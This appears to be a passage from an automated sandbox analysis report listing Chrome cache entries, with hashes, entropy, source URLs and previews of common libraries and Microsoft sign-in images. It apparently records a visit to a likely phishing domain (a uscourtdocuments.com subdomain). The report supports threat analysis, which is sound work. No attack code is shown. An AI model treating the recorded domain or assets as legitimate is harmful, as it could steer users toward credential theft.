Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HYmpBth0tYY:4mpbgYY
MD5:	EB3CE3190D8A58E048D35E620747D3A5
SHA1:	76B5B6461189F839B018EF5C785DB4836B818B7D
SHA-256:	2D670E2962D8D805B95912CACA0822CE7C6913636BA40373C6E6AEA73CAC8457
SHA-512:	08F9C680B09CC25919A91F8E080CFC517F7354F49759DDC8CF6FFEB5ADE2E46F80A866E7531B6EA97188A5E4647093350F91ED51254351C47BCE3488EF88A595
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAnyZjiHR8tAXRIFDa0JrrESEAlusi2GFTYLwhIFDUPzdjk=?alt=proto
Preview:	CgkKBw2tCa6xGgAKCQoHDUPzdjkaAA==

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 76, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlYzttwll7syxl/k4E08up:6v/lhPi+/oy7Tp
MD5:	678087B375C3AAF0CED3FA765778E066
SHA1:	20EA2E44F63F762048CA8D0B43CAE8672CB1A488
SHA-256:	8CB0D72FC13E66672DAB5598AAAF5827DAD13CA211939FA48A52C847991272A5
SHA-512:	F95D1B496331F64E181D4AF1EB5987F3E8E07C80F394192917C71D1A538425D31B0317E19FF3EBE18EE496C5A18E4F346C0A8DA121A539E3569EBC0646AEBB4B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef549aa0e1f4376/1733750380225/lkZzm5MAjpxYvTY
Preview:	.PNG........IHDR...=...L.....Q~(.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.401573598696506
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHBzZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUvnw81KZLGcD:IGJWHBzZBF6xbGeLsVvQ33FUvDW
MD5:	B0B3774E70E752266B4CF190E6D95053
SHA1:	03823D33D8C374DD69B66F1D75A5FC93D29967E1
SHA-256:	A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
SHA-512:	8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	196
Entropy (8bit):	5.098952451791238
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezocKqD:J0+oxBeRmR9etdzRxGez1T
MD5:	62962DAA1B19BBCC2DB10B7BFD531EA6
SHA1:	D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
SHA-256:	80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
SHA-512:	9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
Malicious:	false
Reputation:	low
URL:	https://jdjdhjh.uscourtdocuments.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	dropped
Size (bytes):	47692
Entropy (8bit):	5.401573598696506
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHBzZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUvnw81KZLGcD:IGJWHBzZBF6xbGeLsVvQ33FUvDW
MD5:	B0B3774E70E752266B4CF190E6D95053
SHA1:	03823D33D8C374DD69B66F1D75A5FC93D29967E1
SHA-256:	A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
SHA-512:	8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" 